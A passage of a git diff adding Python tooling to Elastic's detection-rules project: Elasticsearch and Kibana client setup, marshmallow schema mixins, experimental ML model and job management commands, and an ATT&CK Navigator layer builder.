'detection_engine/rules/prepackaged_rules?ref={branch}') + + gh_rules = requests.get(url.format(legacy='', app='security_solution', branch=branch, repo=repo)).json() + + # pre-7.9 app was siem + if isinstance(gh_rules, dict) and gh_rules.get('message', '') == 'Not Found': + gh_rules = requests.get(url.format(legacy='', app='siem', branch=branch, repo=repo)).json() + + # pre-7.8 the siem was under the legacy directory + if isinstance(gh_rules, dict) and gh_rules.get('message', '') == 'Not Found': + gh_rules = requests.get(url.format(legacy='legacy/', app='siem', branch=branch, repo=repo)).json() + + if isinstance(gh_rules, dict) and gh_rules.get('message', '') == 'Not Found': + raise ValueError(f'rules directory does not exist for {repo} branch: {branch}') + + return {os.path.splitext(r['name'])[0]: r['download_url'] for r in gh_rules if r['name'].endswith('.json')} + + +def get_kibana_rules(*rule_paths, repo='elastic/kibana', branch='master', verbose=True, threads=50): + """Retrieve prepackaged rules from kibana repo.""" + from multiprocessing.pool import ThreadPool + + kibana_rules = {} + + if verbose: + thread_use = f' using {threads} threads' if threads > 1 else '' + click.echo(f'Downloading rules from {repo} {branch} branch in kibana repo{thread_use} ...') + + rule_paths = [os.path.splitext(os.path.basename(p))[0] for p in rule_paths] + rules_mapping = [(n, u) for n, u in get_kibana_rules_map(repo=repo, branch=branch).items() if n in rule_paths] \ + if rule_paths else get_kibana_rules_map(repo=repo, branch=branch).items() + + def download_worker(rule_info): + n, u = rule_info + kibana_rules[n] = requests.get(u).json() + + pool = ThreadPool(processes=threads) + pool.map(download_worker, rules_mapping) + pool.close() + pool.join() + + return kibana_rules + + +@cached +def parse_config(): + """Parse a default config file.""" + import eql + + config_file = next(Path(get_path()).glob('.detection-rules-cfg.*'), None) + config = {} + + if config_file and config_file.exists(): + config = eql.utils.load_dump(str(config_file)) + + click.secho(f'Loaded config file: {config_file}', fg='yellow') + + return config + + +def getdefault(name): + """Callback function for `default` to get an environment variable.""" + envvar = f"DR_{name.upper()}" + config = parse_config() + return lambda: os.environ.get(envvar, config.get(name)) + + +def get_elasticsearch_client(cloud_id=None, elasticsearch_url=None, es_user=None, es_password=None, ctx=None, **kwargs): + """Get an authenticated elasticsearch client.""" + from elasticsearch import AuthenticationException, Elasticsearch + + if not (cloud_id or elasticsearch_url): + client_error("Missing required --cloud-id or --elasticsearch-url") + + # don't prompt for these until there's a cloud id or elasticsearch URL + es_user = es_user or click.prompt("es_user") + es_password = es_password or click.prompt("es_password", hide_input=True) + hosts = [elasticsearch_url] if elasticsearch_url else None + timeout = kwargs.pop('timeout', 60) + kwargs['verify_certs'] = not kwargs.pop('ignore_ssl_errors', False) + + try: + client = Elasticsearch(hosts=hosts, cloud_id=cloud_id, http_auth=(es_user, es_password), timeout=timeout, + **kwargs) + # force login to test auth + client.info() + return client + except AuthenticationException as e: + error_msg = f'Failed authentication for {elasticsearch_url or cloud_id}' + client_error(error_msg, e, ctx=ctx, err=True) + + +def get_kibana_client(cloud_id, kibana_url, kibana_user, kibana_password, kibana_cookie, space, ignore_ssl_errors, + provider_type, provider_name, **kwargs): + """Get an authenticated Kibana client.""" + from requests import HTTPError + from kibana import Kibana + + if not (cloud_id or kibana_url): + client_error("Missing required --cloud-id or --kibana-url") + + if not kibana_cookie: + # don't prompt for these until there's a cloud id or Kibana URL + kibana_user = kibana_user or click.prompt("kibana_user") + kibana_password = kibana_password or click.prompt("kibana_password", hide_input=True) + + verify = not ignore_ssl_errors + + with Kibana(cloud_id=cloud_id, kibana_url=kibana_url, space=space, verify=verify, **kwargs) as kibana: + if kibana_cookie: + kibana.add_cookie(kibana_cookie) + return kibana + + try: + kibana.login(kibana_user, kibana_password, provider_type=provider_type, provider_name=provider_name) + except HTTPError as exc: + if exc.response.status_code == 401: + err_msg = f'Authentication failed for {kibana_url}. If credentials are valid, check --provider-name' + client_error(err_msg, exc, err=True) + else: + raise + + return kibana + + +client_options = { + 'kibana': { + 'cloud_id': click.Option(['--cloud-id'], default=getdefault('cloud_id')), + 'kibana_cookie': click.Option(['--kibana-cookie', '-kc'], default=getdefault('kibana_cookie'), + help='Cookie from an authed session'), + 'kibana_password': click.Option(['--kibana-password', '-kp'], default=getdefault('kibana_password')), + 'kibana_url': click.Option(['--kibana-url'], default=getdefault('kibana_url')), + 'kibana_user': click.Option(['--kibana-user', '-ku'], default=getdefault('kibana_user')), + 'provider_type': click.Option(['--provider-type'], default=getdefault('provider_type')), + 'provider_name': click.Option(['--provider-name'], default=getdefault('provider_name')), + 'space': click.Option(['--space'], default=None, help='Kibana space'), + 'ignore_ssl_errors': click.Option(['--ignore-ssl-errors'], default=getdefault('ignore_ssl_errors')) + }, + 'elasticsearch': { + 'cloud_id': click.Option(['--cloud-id'], default=getdefault("cloud_id")), + 'elasticsearch_url': click.Option(['--elasticsearch-url'], default=getdefault("elasticsearch_url")), + 'es_user': click.Option(['--es-user', '-eu'], default=getdefault("es_user")), + 'es_password': click.Option(['--es-password', '-ep'], default=getdefault("es_password")), + 'timeout': click.Option(['--timeout', '-et'], default=60, help='Timeout for elasticsearch client'), + 'ignore_ssl_errors': click.Option(['--ignore-ssl-errors'], default=getdefault('ignore_ssl_errors')) + } +} +kibana_options = list(client_options['kibana'].values()) +elasticsearch_options = list(client_options['elasticsearch'].values()) + + +def add_client(*client_type, add_to_ctx=True, add_func_arg=True): + """Wrapper to add authed client.""" + from elasticsearch import Elasticsearch, ElasticsearchException + from kibana import Kibana + + def _wrapper(func): + client_ops_dict = {} + client_ops_keys = {} + for c_type in client_type: + ops = client_options.get(c_type) + client_ops_dict.update(ops) + client_ops_keys[c_type] = list(ops) + + if not client_ops_dict: + raise ValueError(f'Unknown client: {client_type} in {func.__name__}') + + client_ops = list(client_ops_dict.values()) + + @wraps(func) + @add_params(*client_ops) + def _wrapped(*args, **kwargs): + ctx: click.Context = next((a for a in args if isinstance(a, click.Context)), None) + es_client_args = {k: kwargs.pop(k, None) for k in client_ops_keys.get('elasticsearch', [])} + # shared args like cloud_id + kibana_client_args = {k: kwargs.pop(k, es_client_args.get(k)) for k in client_ops_keys.get('kibana', [])} + + if 'elasticsearch' in client_type: + # for nested ctx invocation, no need to re-auth if an existing client is already passed + elasticsearch_client: Elasticsearch = kwargs.get('elasticsearch_client') + try: + if elasticsearch_client and isinstance(elasticsearch_client, Elasticsearch) and \ + elasticsearch_client.info(): + pass + else: + elasticsearch_client = get_elasticsearch_client(use_ssl=True, **es_client_args) + except ElasticsearchException: + elasticsearch_client = get_elasticsearch_client(use_ssl=True, **es_client_args) + + if add_func_arg: + kwargs['elasticsearch_client'] = elasticsearch_client + if ctx and add_to_ctx: + ctx.obj['es'] = elasticsearch_client + + if 'kibana' in client_type: + # for nested ctx invocation, no need to re-auth if an existing client is already passed + kibana_client: Kibana = kwargs.get('kibana_client') + try: + with kibana_client: + if kibana_client and isinstance(kibana_client, Kibana) and kibana_client.version: + pass + else: + kibana_client = get_kibana_client(**kibana_client_args) + except (requests.HTTPError, AttributeError): + kibana_client = get_kibana_client(**kibana_client_args) + + if add_func_arg: + kwargs['kibana_client'] = kibana_client + if ctx and add_to_ctx: + ctx.obj['kibana'] = kibana_client + + return func(*args, **kwargs) + + return _wrapped + + return _wrapper diff --git a/detection_rules/mixins.py b/detection_rules/mixins.py new file mode 100644 index 000000000..ed78f8d61 --- /dev/null +++ b/detection_rules/mixins.py @@ -0,0 +1,136 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Generic mixin classes.""" +from typing import TypeVar, Type, Optional, Any + +import marshmallow_dataclass +import marshmallow_dataclass.union_field +import marshmallow_jsonschema +import marshmallow_union +from marshmallow import Schema, fields + +from .utils import cached + +T = TypeVar('T') +ClassT = TypeVar('ClassT') # bound=dataclass? + + +def _strip_none_from_dict(obj: T) -> T: + """Strip none values from a dict recursively.""" + if isinstance(obj, dict): + return {key: _strip_none_from_dict(value) for key, value in obj.items() if value is not None} + if isinstance(obj, list): + return [_strip_none_from_dict(o) for o in obj] + if isinstance(obj, tuple): + return tuple(_strip_none_from_dict(list(obj))) + return obj + + +def patch_jsonschema(obj: dict) -> dict: + """Patch marshmallow-jsonschema output to look more like JSL.""" + + def dive(child: dict) -> dict: + if "$ref" in child: + name = child["$ref"].split("/")[-1] + definition = obj["definitions"][name] + return dive(definition) + + child = child.copy() + if "default" in child and child["default"] is None: + child.pop("default") + + child.pop("title", None) + + if "anyOf" in child: + child["anyOf"] = [dive(c) for c in child["anyOf"]] + + elif isinstance(child["type"], list): + if 'null' in child["type"]: + child["type"] = [t for t in child["type"] if t != 'null'] + + if len(child["type"]) == 1: + child["type"] = child["type"][0] + + if "items" in child: + child["items"] = dive(child["items"]) + + if "properties" in child: + # .rstrip("_") is workaround for `from_` -> from + # https://github.com/fuhrysteve/marshmallow-jsonschema/issues/107 + child["properties"] = {k.rstrip("_"): dive(v) for k, v in child["properties"].items()} + + if isinstance(child.get("additionalProperties"), dict): + # .rstrip("_") is workaround for `from_` -> from + # https://github.com/fuhrysteve/marshmallow-jsonschema/issues/107 + child["additionalProperties"] = dive(child["additionalProperties"]) + + return child + + patched = {"$schema": "http://json-schema.org/draft-04/schema#"} + patched.update(dive(obj)) + return patched + + +class MarshmallowDataclassMixin: + """Mixin class for marshmallow serialization.""" + + @classmethod + @cached + def __schema(cls: ClassT) -> Schema: + """Get the marshmallow schema for the data class""" + return marshmallow_dataclass.class_schema(cls)() + + def get(self, key: str, default: Optional[Any] = None): + """Get a key from the query data without raising attribute errors.""" + return getattr(self, key, default) + + @classmethod + @cached + def jsonschema(cls): + """Get the jsonschema representation for this class.""" + jsonschema = PatchedJSONSchema().dump(cls.__schema()) + jsonschema = patch_jsonschema(jsonschema) + return jsonschema + + @classmethod + def from_dict(cls: Type[ClassT], obj: dict) -> ClassT: + """Deserialize and validate a dataclass from a dict using marshmallow.""" + schema = cls.__schema() + return schema.load(obj) + + def to_dict(self, strip_none_values=True) -> dict: + """Serialize a dataclass to a dictionary using marshmallow.""" + schema = self.__schema() + serialized: dict = schema.dump(self) + + if strip_none_values: + serialized = _strip_none_from_dict(serialized) + + return serialized + + +class PatchedJSONSchema(marshmallow_jsonschema.JSONSchema): + + # Patch marshmallow-jsonschema to support marshmallow-dataclass[union] + def _get_schema_for_field(self, obj, field): + """Patch marshmallow_jsonschema.base.JSONSchema to support marshmallow-dataclass[union].""" + if isinstance(field, fields.Raw) and field.allow_none and not field.validate: + # raw fields shouldn't be type string but type any. bug in marshmallow_dataclass:__init__.py: + # if typ is Any: + # metadata.setdefault("allow_none", True) + # return marshmallow.fields.Raw(**metadata) + return {"type": ["string", "number", "object", "array", "boolean", "null"]} + + if isinstance(field, marshmallow_dataclass.union_field.Union): + # convert to marshmallow_union.Union + field = marshmallow_union.Union([subfield for _, subfield in field.union_fields], + metadata=field.metadata, + required=field.required, name=field.name, + parent=field.parent, root=field.root, error_messages=field.error_messages, + default_error_messages=field.default_error_messages, default=field.default, + allow_none=field.allow_none) + + return super()._get_schema_for_field(obj, field) diff --git a/detection_rules/ml.py b/detection_rules/ml.py new file mode 100644 index 000000000..6b8ea821b --- /dev/null +++ b/detection_rules/ml.py @@ -0,0 +1,452 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Schemas and dataclasses for experimental ML features.""" + +import io +import zipfile +from dataclasses import dataclass +from functools import cached_property, lru_cache +from pathlib import Path +from typing import Dict, List, Literal, Optional + +import click +import elasticsearch +import json +import requests +from eql.table import Table +from elasticsearch import Elasticsearch +from elasticsearch.client import IngestClient, LicenseClient, MlClient + +from .eswrap import es_experimental +from .ghwrap import ManifestManager, ReleaseManifest +from .misc import client_error +from .schemas import definitions +from .utils import get_path, unzip_to_dict + + +ML_PATH = Path(get_path('machine-learning')) + + +def info_from_tag(tag: str) -> (Literal['ml'], definitions.MachineLearningType, str, int): + try: + ml, release_type, release_date, release_number = tag.split('-') + except ValueError as exc: + raise ValueError(f'{tag} is not of valid release format: ml-type-date-number. {exc}') + + return ml, release_type, release_date, int(release_number) + + +class InvalidLicenseError(Exception): + """Invalid stack license for ML features requiring platinum or enterprise.""" + + +@dataclass +class MachineLearningClient: + """Class for experimental machine learning release clients.""" + + es_client: Elasticsearch + bundle: dict + + @cached_property + def model_id(self) -> str: + return next(data['model_id'] for name, data in self.bundle.items() if Path(name).stem.lower().endswith('model')) + + @cached_property + def bundle_type(self) -> str: + return self.model_id.split('_')[0].lower() + + @cached_property + def ml_client(self) -> MlClient: + return MlClient(self.es_client) + + @cached_property + def ingest_client(self) -> IngestClient: + return IngestClient(self.es_client) + + @cached_property + def license(self) -> str: + license_client = LicenseClient(self.es_client) + return license_client.get()['license']['type'].lower() + + @staticmethod + @lru_cache + def ml_manifests() -> Dict[str, ReleaseManifest]: + return get_ml_model_manifests_by_model_id() + + def verify_license(self): + valid_license = self.license in ('platinum', 'enterprise') + + if not valid_license: + err_msg = 'Your subscription level does not support Machine Learning. See ' \ + 'https://www.elastic.co/subscriptions for more information.' + raise InvalidLicenseError(err_msg) + + @classmethod + def from_release(cls, es_client: Elasticsearch, release_tag: str, + repo: str = 'elastic/detection-rules') -> 'MachineLearningClient': + """Load from a GitHub release.""" + full_type = '-'.join(info_from_tag(release_tag)[:2]) + release_url = f'https://api.github.com/repos/{repo}/releases/tags/{release_tag}' + release = requests.get(release_url) + release.raise_for_status() + + # check that the release only has a single zip file + assets = [a for a in release.json()['assets'] if + a['name'].startswith(full_type) and a['name'].endswith('.zip')] + assert len(assets) == 1, f'Malformed release: expected 1 {full_type} zip file, found: {len(assets)}!' + + zipped_url = assets[0]['browser_download_url'] + zipped_raw = requests.get(zipped_url) + zipped_bundle = zipfile.ZipFile(io.BytesIO(zipped_raw.content)) + bundle = unzip_to_dict(zipped_bundle) + + return cls(es_client=es_client, bundle=bundle) + + @classmethod + def from_directory(cls, es_client: Elasticsearch, directory: Path) -> 'MachineLearningClient': + """Load from an unzipped local directory.""" + bundle = json.loads(directory.read_text()) + return cls(es_client=es_client, bundle=bundle) + + def remove(self) -> dict: + """Remove machine learning files from a stack.""" + results = dict(script={}, pipeline={}, model={}) + for pipeline in list(self.get_related_pipelines()): + results['pipeline'][pipeline] = self.ingest_client.delete_pipeline(pipeline) + for script in list(self.get_related_scripts()): + results['script'][script] = self.es_client.delete_script(script) + + results['model'][self.model_id] = self.ml_client.delete_trained_model(self.model_id) + return results + + def setup(self) -> dict: + """Setup machine learning bundle on a stack.""" + self.verify_license() + results = dict(script={}, pipeline={}, model={}) + + # upload in order: model, scripts, then pipelines + parsed_bundle = dict(model={}, script={}, pipeline={}) + for filename, data in self.bundle.items(): + fp = Path(filename) + file_type = fp.stem.split('_')[-1] + parsed_bundle[file_type][fp.stem] = data + + model = list(parsed_bundle['model'].values())[0] + results['model'][model['model_id']] = self.upload_model(model['model_id'], model) + + for script_name, script in parsed_bundle['script'].items(): + results['script'][script_name] = self.upload_script(script_name, script) + + for pipeline_name, pipeline in parsed_bundle['pipeline'].items(): + results['pipeline'][pipeline_name] = self.upload_ingest_pipeline(pipeline_name, pipeline) + + return results + + def get_all_scripts(self) -> Dict[str, dict]: + """Get all scripts from an elasticsearch instance.""" + return self.es_client.cluster.state()['metadata']['stored_scripts'] + + def get_related_scripts(self) -> Dict[str, dict]: + """Get all scripts which start with ml_*.""" + scripts = self.get_all_scripts() + return {n: s for n, s in scripts.items() if n.lower().startswith(f'ml_{self.bundle_type}')} + + def get_related_pipelines(self) -> Dict[str, dict]: + """Get all pipelines which start with ml_*.""" + pipelines = self.ingest_client.get_pipeline() + return {n: s for n, s in pipelines.items() if n.lower().startswith(f'ml_{self.bundle_type}')} + + def get_related_model(self) -> Optional[dict]: + """Get a model from an elasticsearch instance matching the model_id.""" + for model in self.get_all_existing_model_files(): + if model['model_id'] == self.model_id: + return model + + def get_all_existing_model_files(self) -> dict: + """Get available models from a stack.""" + return self.ml_client.get_trained_models()['trained_model_configs'] + + @classmethod + def get_existing_model_ids(cls, es_client: Elasticsearch) -> List[str]: + """Get model IDs for existing ML models.""" + ml_client = MlClient(es_client) + return [m['model_id'] for m in ml_client.get_trained_models()['trained_model_configs'] + if m['model_id'] in cls.ml_manifests()] + + @classmethod + def check_model_exists(cls, es_client: Elasticsearch, model_id: str) -> bool: + """Check if a model exists on a stack by model id.""" + ml_client = MlClient(es_client) + return model_id in [m['model_id'] for m in ml_client.get_trained_models()['trained_model_configs']] + + def get_related_files(self) -> dict: + """Check for the presence and status of ML bundle files on a stack.""" + files = { + 'pipeline': self.get_related_pipelines(), + 'script': self.get_related_scripts(), + 'model': self.get_related_model(), + 'release': self.get_related_release() + } + return files + + def get_related_release(self) -> ReleaseManifest: + """Get the GitHub release related to a model.""" + return self.ml_manifests.get(self.model_id) + + @classmethod + def get_all_ml_files(cls, es_client: Elasticsearch) -> dict: + """Get all scripts, pipelines, and models which start with ml_*.""" + pipelines = IngestClient(es_client).get_pipeline() + scripts = es_client.cluster.state()['metadata']['stored_scripts'] + models = MlClient(es_client).get_trained_models()['trained_model_configs'] + manifests = get_ml_model_manifests_by_model_id() + + files = { + 'pipeline': {n: s for n, s in pipelines.items() if n.lower().startswith('ml_')}, + 'script': {n: s for n, s in scripts.items() if n.lower().startswith('ml_')}, + 'model': {m['model_id']: {'model': m, 'release': manifests[m['model_id']]} + for m in models if m['model_id'] in manifests}, + } + return files + + @classmethod + def remove_ml_scripts_pipelines(cls, es_client: Elasticsearch, ml_type: List[str]) -> dict: + """Remove all ML script and pipeline files.""" + results = dict(script={}, pipeline={}) + ingest_client = IngestClient(es_client) + + files = cls.get_all_ml_files(es_client=es_client) + for file_type, data in files.items(): + for name in list(data): + this_type = name.split('_')[1].lower() + if this_type not in ml_type: + continue + if file_type == 'script': + results[file_type][name] = es_client.delete_script(name) + elif file_type == 'pipeline': + results[file_type][name] = ingest_client.delete_pipeline(name) + + return results + + def upload_model(self, model_id: str, body: dict) -> dict: + """Upload an ML model file.""" + return self.ml_client.put_trained_model(model_id=model_id, body=body) + + def upload_script(self, script_id: str, body: dict) -> dict: + """Install a script file.""" + return self.es_client.put_script(id=script_id, body=body) + + def upload_ingest_pipeline(self, pipeline_id: str, body: dict) -> dict: + """Install a pipeline file.""" + return self.ingest_client.put_pipeline(id=pipeline_id, body=body) + + @staticmethod + def _build_script_error(exc: elasticsearch.RequestError, pipeline_file: str): + """Build an error for a failed script upload.""" + error = exc.info['error'] + cause = error['caused_by'] + error_msg = [ + f'Script error while uploading {pipeline_file}: {cause["type"]} - {cause["reason"]}', + ' '.join(f'{k}: {v}' for k, v in error['position'].items()), + '\n'.join(error['script_stack']) + ] + + return click.style('\n'.join(error_msg), fg='red') + + +def get_ml_model_manifests_by_model_id(repo: str = 'elastic/detection-rules') -> Dict[str, ReleaseManifest]: + """Load all ML DGA model release manifests by model id.""" + manifests, _ = ManifestManager.load_all(repo=repo) + model_manifests = {} + + for manifest_name, manifest in manifests.items(): + for asset_name, asset in manifest['assets'].items(): + for entry_name, entry_data in asset['entries'].items(): + if entry_name.startswith('dga') and entry_name.endswith('model.json'): + model_id, _ = entry_name.rsplit('_', 1) + model_manifests[model_id] = ReleaseManifest(**manifest) + break + + return model_manifests + + +@es_experimental.group('ml') +def ml_group(): + """Experimental machine learning commands.""" + + +@ml_group.command('check-files') +@click.pass_context +def check_files(ctx): + """Check ML model files on an elasticsearch instance.""" + files = MachineLearningClient.get_all_ml_files(ctx.obj['es']) + + results = [] + for file_type, data in files.items(): + if file_type == 'model': + continue + for name in list(data): + results.append({'file_type': file_type, 'name': name}) + + for model_name, model in files['model'].items(): + results.append({'file_type': 'model', 'name': model_name, 'related_release': model['release'].tag_name}) + + fields = ['file_type', 'name', 'related_release'] + table = Table.from_list(fields, results) + click.echo(table) + return files + + +@ml_group.command('remove-model') +@click.argument('model-id', required=False) +@click.pass_context +def remove_model(ctx: click.Context, model_id): + """Remove ML model files.""" + es_client = MlClient(ctx.obj['es']) + model_ids = MachineLearningClient.get_existing_model_ids(ctx.obj['es']) + + if not model_id: + model_id = click.prompt('Model ID to remove', type=click.Choice(model_ids)) + + try: + result = es_client.delete_trained_model(model_id) + except elasticsearch.ConflictError as e: + click.echo(f'{e}: try running `remove-scripts-pipelines` first') + ctx.exit(1) + + table = Table.from_list(['model_id', 'status'], [{'model_id': model_id, 'status': result}]) + click.echo(table) + return result + + +@ml_group.command('remove-scripts-pipelines') +@click.option('--dga', is_flag=True) +@click.option('--problemchild', is_flag=True) +@click.pass_context +def remove_scripts_pipelines(ctx: click.Context, **ml_types): + """Remove ML scripts and pipeline files.""" + selected_types = [k for k, v in ml_types.items() if v] + assert selected_types, f'Specify ML types to remove: {list(ml_types)}' + status = MachineLearningClient.remove_ml_scripts_pipelines(es_client=ctx.obj['es'], ml_type=selected_types) + + results = [] + for file_type, response in status.items(): + for name, result in response.items(): + results.append({'file_type': file_type, 'name': name, 'status': result}) + + fields = ['file_type', 'name', 'status'] + table = Table.from_list(fields, results) + click.echo(table) + return status + + +@ml_group.command('setup') +@click.option('--model-tag', '-t', + help='Release tag for model files staged in detection-rules (required to download files)') +@click.option('--repo', '-r', default='elastic/detection-rules', + help='GitHub repository hosting the model file releases (owner/repo)') +@click.option('--model-dir', '-d', type=click.Path(exists=True, file_okay=False), + help='Directory containing local model files') +@click.pass_context +def setup_bundle(ctx, model_tag, repo, model_dir): + """Upload ML model and dependencies to enrich data.""" + es_client: Elasticsearch = ctx.obj['es'] + + if model_tag: + dga_client = MachineLearningClient.from_release(es_client=es_client, release_tag=model_tag, repo=repo) + elif model_dir: + dga_client = MachineLearningClient.from_directory(es_client=es_client, directory=model_dir) + else: + return client_error('model-tag or model-dir required to download model files') + + dga_client.verify_license() + status = dga_client.setup() + + results = [] + for file_type, response in status.items(): + for name, result in response.items(): + if file_type == 'model': + status = 'success' if result.get('create_time') else 'potential_failure' + results.append({'file_type': file_type, 'name': name, 'status': status}) + continue + results.append({'file_type': file_type, 'name': name, 'status': result}) + + fields = ['file_type', 'name', 'status'] + table = Table.from_list(fields, results) + click.echo(table) + + click.echo('Associated rules and jobs can be found under ML-experimental-detections releases in the repo') + click.echo('To upload rules, run: kibana upload-rule ') + click.echo('To upload ML jobs, run: es experimental upload-ml-job ') + + +@ml_group.command('upload-job') +@click.argument('job-file', type=click.Path(exists=True, dir_okay=False)) +@click.option('--overwrite', '-o', is_flag=True, help='Overwrite job if exists by name') +@click.pass_context +def upload_job(ctx: click.Context, job_file, overwrite): + """Upload experimental ML jobs.""" + es_client: Elasticsearch = ctx.obj['es'] + ml_client = MlClient(es_client) + + with open(job_file, 'r') as f: + job = json.load(f) + + def safe_upload(func): + try: + func(name, body) + except (elasticsearch.ConflictError, elasticsearch.RequestError) as err: + if isinstance(err, elasticsearch.RequestError) and err.error != 'resource_already_exists_exception': + client_error(str(err), err, ctx=ctx) + + if overwrite: + ctx.invoke(delete_job, job_name=name, job_type=job_type) + func(name, body) + else: + client_error(str(err), err, ctx=ctx) + + try: + job_type = job['type'] + name = job['name'] + body = job['body'] + + if job_type == 'anomaly_detection': + safe_upload(ml_client.put_job) + elif job_type == 'data_frame_analytic': + safe_upload(ml_client.put_data_frame_analytics) + elif job_type == 'datafeed': + safe_upload(ml_client.put_datafeed) + else: + client_error(f'Unknown ML job type: {job_type}') + + click.echo(f'Uploaded {job_type} job: {name}') + except KeyError as e: + client_error(f'{job_file} missing required info: {e}') + + +@ml_group.command('delete-job') +@click.argument('job-name') +@click.argument('job-type') +@click.pass_context +def delete_job(ctx: click.Context, job_name, job_type, verbose=True): + """Remove experimental ML jobs.""" + es_client: Elasticsearch = ctx.obj['es'] + ml_client = MlClient(es_client) + + try: + if job_type == 'anomaly_detection': + ml_client.delete_job(job_name) + elif job_type == 'data_frame_analytic': + ml_client.delete_data_frame_analytics(job_name) + elif job_type == 'datafeed': + ml_client.delete_datafeed(job_name) + else: + client_error(f'Unknown ML job type: {job_type}') + except (elasticsearch.NotFoundError, elasticsearch.ConflictError) as e: + client_error(str(e), e, ctx=ctx) + + if verbose: + click.echo(f'Deleted {job_type} job: {job_name}') diff --git a/detection_rules/navigator.py b/detection_rules/navigator.py new file mode 100644 index 000000000..ebd016f32 --- /dev/null +++ b/detection_rules/navigator.py @@ -0,0 +1,288 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Create summary documents for a rule package.""" + +from collections import defaultdict +from dataclasses import dataclass, field, fields +from pathlib import Path +from typing import Dict, List, Optional +from marshmallow import pre_load + +import json + +from . import utils +from .attack import CURRENT_ATTACK_VERSION +from .mixins import MarshmallowDataclassMixin +from .rule import TOMLRule + + +_DEFAULT_PLATFORMS = [ + "Azure AD", + "Containers", + "Google Workspace", + "IaaS", + "Linux", + "macOS", + "Network", + "Office 365", + "PRE", + "SaaS", + "Windows" +] +_DEFAULT_NAVIGATOR_LINKS = { + "label": "repo", + "url": "https://github.com/elastic/detection-rules" +} + + +@dataclass +class NavigatorMetadata(MarshmallowDataclassMixin): + """Metadata for ATT&CK navigator objects.""" + name: str + value: str + + +@dataclass +class NavigatorLinks(MarshmallowDataclassMixin): + """Metadata for ATT&CK navigator objects.""" + label: str + url: str + + +@dataclass +class Techniques(MarshmallowDataclassMixin): + """ATT&CK navigator techniques array class.""" + techniqueID: str + tactic: str + score: int + metadata: List[NavigatorMetadata] + links: List[NavigatorLinks] + + color: str = '' + comment: str = '' + enabled: bool = True + showSubtechniques: bool = False + + @pre_load + def set_score(self, data: dict, **kwargs): + data['score'] = len(data['metadata']) + return data + + +@dataclass +class Navigator(MarshmallowDataclassMixin): + """ATT&CK navigator class.""" + @dataclass + class Versions: + attack: str + layer: str = '4.3' + navigator: str = '4.5.5' + + @dataclass + class Filters: + platforms: list = field(default_factory=_DEFAULT_PLATFORMS.copy) + + @dataclass + class Layout: + layout: str = 'side' + aggregateFunction: str = 'average' + showID: bool = True + showName: bool = True + showAggregateScores: bool = False + countUnscored: bool = False + + @dataclass + class Gradient: + colors: list = field(default_factory=['#d3e0fa', '#0861fb'].copy) + minValue: int = 0 + maxValue: int = 10 + + # not all defaults set + name: str + versions: Versions + techniques: List[Techniques] + + # all defaults set + filters: Filters = fields(Filters) + layout: Layout = fields(Layout) + gradient: Gradient = fields(Gradient) + + domain: str = 'enterprise-attack' + description: str = 'Elastic detection-rules coverage' + hideDisabled: bool = False + legendItems: list = field(default_factory=list) + links: List[NavigatorLinks] = field(default_factory=[_DEFAULT_NAVIGATOR_LINKS].copy) + metadata: Optional[List[NavigatorLinks]] = field(default_factory=list) + showTacticRowBackground: bool = False + selectTechniquesAcrossTactics: bool = False + selectSubtechniquesWithParent: bool = False + sorting: int = 0 + tacticRowBackground: str = '#dddddd' + + +def technique_dict() -> dict: + return {'metadata': [], 'links': []} + + +class NavigatorBuilder: + """Rule navigator mappings and management.""" + + def __init__(self, detection_rules: List[TOMLRule]): + self.detection_rules = detection_rules + + self.layers = { + 'all': defaultdict(lambda: defaultdict(technique_dict)), + 'platforms': defaultdict(lambda: defaultdict(technique_dict)), + + # these will build multiple layers + 'indexes': defaultdict(lambda: defaultdict(lambda: defaultdict(technique_dict))), + 'tags': defaultdict(lambda: defaultdict(lambda: defaultdict(technique_dict))) + } + self.process_rules() + + @staticmethod + def meta_dict(name: str, value: any) -> dict: + meta = { + 'name': name, + 'value': value + } + return meta + + @staticmethod + def links_dict(label: str, url: any) -> dict: + links = { + 'label': label, + 'url': url + } + return links + + def rule_links_dict(self, rule: TOMLRule) -> dict: + base_url = 'https://github.com/elastic/detection-rules/blob/main/rules/' + local_rules_path = utils.get_path('rules') + base_path = rule.path.relative_to(local_rules_path) + url = f'{base_url}{base_path}' + return self.links_dict(rule.name, url) + + def get_layer(self, layer_name: str, layer_key: Optional[str] = None) -> dict: + """Safely retrieve a layer with optional sub-keys.""" + return self.layers[layer_name][layer_key] if layer_key else self.layers[layer_name] + + def _update_all(self, rule: TOMLRule, tactic: str, technique_id: str): + value = f'{rule.contents.data.type}/{rule.contents.data.get("language")}' + self.add_rule_to_technique(rule, 'all', tactic, technique_id, value) + + def _update_platforms(self, rule: TOMLRule, tactic: str, technique_id: str): + value = rule.path.parent.name + self.add_rule_to_technique(rule, 'platforms', tactic, technique_id, value) + + def _update_indexes(self, rule: TOMLRule, tactic: str, technique_id: str): + for index in rule.contents.data.get('index', []): + value = rule.id + self.add_rule_to_technique(rule, 'indexes', tactic, technique_id, value, layer_key=index.lower()) + + def _update_tags(self, rule: TOMLRule, tactic: str, technique_id: str): + for tag in rule.contents.data.get('tags', []): + value = rule.id + layer_key = tag.replace(' ', '-').lower() + self.add_rule_to_technique(rule, 'tags', tactic, technique_id, value, layer_key=layer_key) + + def add_rule_to_technique(self, + rule: TOMLRule, + layer_name: str, + tactic: str, + technique_id: str, + value: str, + layer_key: Optional[str] = None): + """Add a rule to a technique metadata and links.""" + layer = self.get_layer(layer_name, layer_key) + layer[tactic][technique_id]['metadata'].append(self.meta_dict(rule.name, value)) + layer[tactic][technique_id]['links'].append(self.rule_links_dict(rule)) + + def process_rule(self, rule: TOMLRule, tactic: str, technique_id: str): + self._update_all(rule, tactic, technique_id) + self._update_platforms(rule, tactic, technique_id) + self._update_indexes(rule, tactic, technique_id) + self._update_tags(rule, tactic, technique_id) + + def process_rules(self): + """Adds rule to each applicable layer, including multi-layers.""" + for rule in self.detection_rules: + threat = rule.contents.data.threat + if threat: + for entry in threat: + tactic = entry.tactic.name.lower() + if 